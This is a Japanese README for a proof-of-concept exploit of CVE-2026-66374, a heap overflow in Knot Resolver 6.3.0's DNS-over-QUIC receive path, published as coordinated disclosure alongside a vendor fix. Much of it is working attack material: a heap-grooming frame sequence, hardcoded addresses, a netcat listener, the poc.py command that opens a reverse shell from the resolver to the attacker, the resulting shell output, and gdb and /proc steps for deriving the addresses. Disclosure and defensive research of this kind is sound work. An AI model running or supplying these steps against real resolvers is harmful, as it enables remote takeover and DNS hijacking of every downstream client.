
CVE-2026-66374: Knot Resolver 6.3.0 DNS-over-QUIC ヒープオーバーフロー (RCE)
Knot ResolverのDNS-over-QUIC(DoQ)受信経路における、リモートからトリガー可能なヒープバッファオーバーフローの概念実証です。これは knot-resolver サービスユーザーとしてのリモートコード実行に至ります。
kresd DoQリスナー(daemon/quic_conn.c)6.3.0-cznic.1~bookworm で検証)knot-resolver としてのコード実行。最低でもリモートクラッシュ / DoS調整済み開示の一環として、ベンダーの修正およびアドバイザリと併せて公開されています。許可されたセキュリティ研究および防御的検証のみを目的としています。
完全なリモートエクスプロイト — 攻撃者側マシンからDNS-over-QUIC経由でエクスプロイトを発射し、knot-resolver のリバースシェルを nc で受け取ります(フル解像度ビデオはクリック):
Knot Resolver は、CZ.NIC(.cz レジストリ)が開発したオープンソースのキャッシング DNS再帰リゾルバです。エンドユーザーデバイス、ISPのリゾルバ群、公開リゾルバサービスなどのクライアントに代わってDNSクエリを解決し、回答をキャッシュします。DNS-over-TLS(DoT)、DNS-over-HTTPS(DoH)、DNS-over-QUIC(DoQ) を含む最新の暗号化トランスポートをサポートし、DNSSEC検証とアグレッシブキャッシングを備えています。
大規模ISP環境で人気があります。豊富な機能セット(スクリプト可能なポリシー、DNSSEC、暗号化トランスポート、細粒度のキャッシング)と高性能により、非常に大規模な加入者ベースへのサービス提供に適しています。
デーモン(kresd)は長時間稼働するネットワークサービスであり、リッスンポートに到達できる任意のホストからの信頼できない入力に直接さらされます。そのため、ここで悪用されるようなパケット受信経路のメモリ破壊バグは、リモートから到達可能かつ認証不要の攻撃対象となります。リゾルバを侵害すると、攻撃者は下流のすべてのクライアントに対してDNS回答を偽造でき、事実上すべてのトラフィックをリダイレクトまたは傍受できます。
kr_recv_stream_data_cb() は、DoQ STREAMフレームを接続ごとの入力バッファ(pers_inbuf)に再構成します。このバッファは次のコードで拡張されます:
pers_inbuf.size += datalen; /* bug: accumulates, never re-baselines */
サイズを新しい合計に設定する代わりにこうなっています。複数のフレームにわたって、追跡される size は実際の割り当てサイズを超えて膨らんでいきます。そのため、datalen が 膨張した size に収まる最後のフレームは再割り当てをスキップしますが、後続の memcpy() はその膨張したサイズで制限されるため、オブジェクトの終端を超えて書き込みます。jemallocはオブジェクトを実際のサイズクラスに固定したままにするため、超過したバイトは隣接するスラブスロットに配置されます。
単一ストリーム上の6フレームのシーケンスにより、pers_inbuf は5つのjemallocサイズクラスを経て6144バイトクラスに到達し、隣接するスロットへオーバーフローします:
F1 datalen=8 initial 1200-byte allocation
F2 datalen=1440 realloc -> 1536-class
F3 datalen=1440 realloc -> 3072-class
F4 datalen=1440 realloc -> 5120-class
F5 datalen=1440 realloc -> 6144-class
F6 datalen=1200, FIN no realloc -> 814-byte OOB write into slot+1
軽量な接続 グルーミング(複数のDoQ接続を開き、発火直前に半分を解放する)により、slot+1 にlibgnutlsのクリーンアップハンドラを配置します。オーバーフローは、そのハンドラのディスパッチポインタ、その引数、そしてディスパッチを制御するフラグを上書きします。接続のティアダウン中にlibgnutlsは次を実行します:
call *0x110(%rbx) ; %rbx = attacker-controlled slot+1
これにより、命令ポインタ(RIP)と最初の引数(RDI)を制御できます。PoCはこれを system() に導き、同じスロットに書き込まれた攻撃者提供のコマンド文字列へのポインタを渡します。
このPoCは、ASLRが無効(kernel.randomize_va_space = 0)のホストを対象としています。ランダム化が無効の場合、ヒープとlibcのアドレスは決定的になるため、エクスプロイトに必要な2つのアドレス(slot+1 と system())は特定のビルドでは定数になります。ASLRを回避することは別の問題であり、ここでは意図的に対象外です — 目標は、メモリ破壊 → 制御フロー → コード実行というプリミティブを単独で実証することです。
これらのアドレスは決定的であるため、情報漏えいは不要です: エクスプロイトはリモートホストから完全にネットワーク経由で実行されます。アドレスは、任意の同一ビルドで(下記の)probe ステップにより一度取得され、その後ハードコードされます。参照ビルドでは、slot+1 = 0x7ffff66c5000、system = 0x7ffff746a490 です。
| ファイル | 目的 |
|---|---|
poc.py | エクスプロイトです。モード: probe、rip、exec。 |
probe.gdb | 決定的な pers_inbuf を読み取るgdbオラクルです。 |
README.md | 本ドキュメントです。 |
攻撃者側にはPython 3とaioquic、netcat が必要です。ターゲット側には、一度だけ実行する probe ステップのためだけに gdb が必要です。
これが主要なデモです: エクスプロイトは攻撃者マシンからネットワーク経由で発射され、2つの決定的なアドレスがハードコードされています。ターゲットからは何も読み取りません — /proc もgdbもログもありません。
# On the attacker box: listen for the shell
$ nc -lvnp 4444 # Linux; on macOS/BSD: nc -l 4444
# In another terminal: fire the exploit at the target's DoQ port
$ python3 poc.py exec \
--host <target> --port 8853 \
--slot1 0x7ffff66c5000 \
--system 0x7ffff746a490 \
--lhost <attacker-ip> --lport 4444 \
--rounds 250
着弾した各ラウンドは、リバースシェルコマンドを指定してターゲット上で system() を呼び出します。シェルは --lhost:--lport に接続し、nc がそれを受け取ります。シェルが届いたら、netcatセッションに入力してシェルを操作します:
knot-resolver@doqlab:/run/knot-resolver$ id; hostname; uname -srm
uid=104(knot-resolver) gid=109(knot-resolver) groups=109(knot-resolver)
doqlab
Linux 6.1.0-50-cloud-amd64 x86_64
--slot1 / --system の値は、任意の同一ビルドで probe ステップにより一度取得されます。ASLRが無効の間は定数です。
上記の --slot1 / --system の値は、ASLRが無効の間は定数です。任意の同一ビルドで一度だけ取得してください。前提条件:
$ sudo sysctl -w kernel.randomize_va_space=0
# slot+1 : gdb oracle reads the deterministic pers_inbuf, +0x1800
$ sudo gdb -batch -p "$(pidof /usr/sbin/kresd)" -x probe.gdb &
$ sudo ./venv/bin/python3 poc.py probe
$ grep slot1 /tmp/pers_inbuf_oracle.txt
CONSUME: buf=0x7ffff66c3800 slot1=0x7ffff66c5000
# system : libc base (ASLR off) + system() offset
$ addr=$(grep -m1 libc.so /proc/$(pidof /usr/sbin/kresd)/maps | cut -d- -f1)
$ printf 'system = 0x%x\n' $((0x$addr + 0x$(readelf --dyn-syms /lib/x86_64-linux-gnu/libc.so.6 | awk '$8 ~ /^system@/ {print $2; exit}')))
poc.py rip --rounds 8 は、直接のRIP/RDI制御(ターゲットが攻撃者選択の命令ポインタでクラッシュする)も実証します。
参照ビルド(Debian 12、6.3.0-cznic.1、ASLR無効)で測定:
| プリミティブ | 確率 |
|---|---|
RIP/RDI制御(rip、クラッシュ) | ラウンドあたり ~7/8 |
完全な system() 実行(exec) | 約30〜50ラウンドに1回 |
この差は本質的なものです: system() は、オーバーフローがちょうど破壊したヒープ上で実行されるため、ほとんどのディスパッチは子プロセスが生成される前に kresd をクラッシュさせます。デーモンはクラッシュのたびにスーパーバイザによって再起動され、ASLR無効ではアドレスが決定的で、各試行は独立しています — そのため exec ループは、1つが着弾するまで単純に再試行します(上記のリモート実行では、ラウンド5でシェルが到着しました)。失敗した試行は一時的なワーカークラッシュ(DoS)です。グルーミングパラメータ --groom 16 --close 8 --qpc 4 は経験的に最良のデフォルトです。より多くのクローズ(例: --groom 32 で --close 16)はヒット率を低下させます。
OS Debian 12 (bookworm), glibc 2.36
kresd knot-resolver6 6.3.0-cznic.1~bookworm
libgnutls 3.7.9-2+deb12u7
config DoQ listener on 127.0.0.1@8853
サイズクラスの構成(6フレーム、1200/1440バイトのペイロード)とlibgnutlsのディスパッチオフセットはこのビルドに固有です。他のビルドでは、フレームサイズとオフセットを再導出する必要があります。
| Date | Event |
|---|---|
| 2026-06-08 | ベンダー(CZ.NIC)に脆弱性を報告。 |
| 2026-07-22 | Knot Resolver 6.4.1で修正版がリリースされ、ベンダーアドバイザリも公開。 |
| 2026-07-23 | 本PoCと解説を公開。 |
2026-06-08にベンダーへ報告し、公式修正(6.4.1、2026-07-22)と連携して公開しました。許可されたテスト、防御的検証、研究のために提供されています。所有していないシステム、または明示的にテストを許可されていないシステムに対して実行しないでください。
SPDX-License-Identifier: MIT